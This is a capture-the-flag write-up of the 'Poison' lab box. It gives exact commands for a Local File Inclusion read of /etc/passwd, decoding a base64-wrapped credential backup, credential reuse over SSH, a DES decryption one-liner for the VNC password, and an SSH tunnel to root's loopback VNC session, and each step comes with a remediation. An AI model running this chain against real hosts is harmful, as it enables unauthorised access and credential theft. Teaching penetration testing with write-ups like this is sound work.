Poison
Summary
I scanned a FreeBSD host exposing Apache 2.4.29 with PHP 5.6.32 and OpenSSH 7.2. A diagnostic listing script (listfiles.php) in the web root returned the entire web directory without authentication, revealing a credential backup file (pwdbackup.txt) alongside a second PHP script (browse.php) that accepted a filename parameter with no path validation. Exploiting that Local File Inclusion primitive confirmed local accounts including charix.
The credential backup contained a password base64-encoded thirteen times; a shell loop recovered the plaintext [REDACTED: recovered credential], which was also the OS and SSH password for charix — a direct result of password reuse — delivering an interactive shell and the user flag. From that shell, a password-protected ZIP archive (secret.zip) in charix's home directory was retrieved via SCP and extracted with the same reused password, yielding an 8-byte binary VNC password file. VNC stores passwords with a publicly known fixed-key DES scheme; decoding the blob produced root's VNC password.
Root's TightVNC session ran exclusively on the loopback interface, but OpenSSH's default port-forwarding setting allowed the low-privilege charix session to tunnel it outward. A single SSH local port-forward exposed the root VNC port to my machine; a VNC client authenticated as root, opened the live desktop, and the root flag was read directly — full system compromise achieved through credential reuse and a misconfigured remote-desktop service, with no additional exploitation required.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,80 $TARGETcurl -s -i http://$TARGET/Exact commands 1
curl -s "http://$TARGET/listfiles.php"FixRemove or access-control unauthenticated file-listing diagnostic scriptsMedium
Exact commands 2
curl -s "http://$TARGET/browse.php?file=/etc/passwd"curl -s "http://$TARGET/browse.php?file=pwdbackup.txt"FixFix the Local File Inclusion vulnerability in browse.phpCritical
Exact commands 2
curl -s http://$TARGET/pwdbackup.txt -o pwd.curfor i in $(seq 1 13); do base64 -d pwd.cur > pwd.next && mv pwd.next pwd.cur; done && cat pwd.curFixRemove all credential and backup files from the web document rootCritical
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 charix@$TARGET 'id && cat /home/charix/user.txt'FixEliminate password reuse across OS accounts, SSH, and file archivesHigh
Exact commands 3
sshpass -p "$PASSWORD" scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null charix@$TARGET:/home/charix/secret.zip .unzip -P "$PASSWORD" secret.zipsshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null charix@$TARGET 'sockstat -4 -l | grep -i vnc'Exact commands 2
./vncpwd secretpython3 -c "from Crypto.Cipher import DES;k=bytes([23,82,107,6,35,78,88,7]);r=bytes(int(f'{b:08b}'[::-1],2)for b in k);print(DES.new(r,DES.MODE_ECB).decrypt(open('secret','rb').read()).rstrip(b'\x00').decode())"FixReplace VNC fixed-key DES password storage with modern authenticationHigh
Exact commands 1
sshpass -p "$PASSWORD" ssh -f -N -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ExitOnForwardFailure=yes -L 15901:127.0.0.1:5901 -p 22 charix@$TARGETFixDisable root's VNC session and restrict SSH port forwardingCritical
Exact commands 2
vncviewer -passwd secret 127.0.0.1::15901cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32) |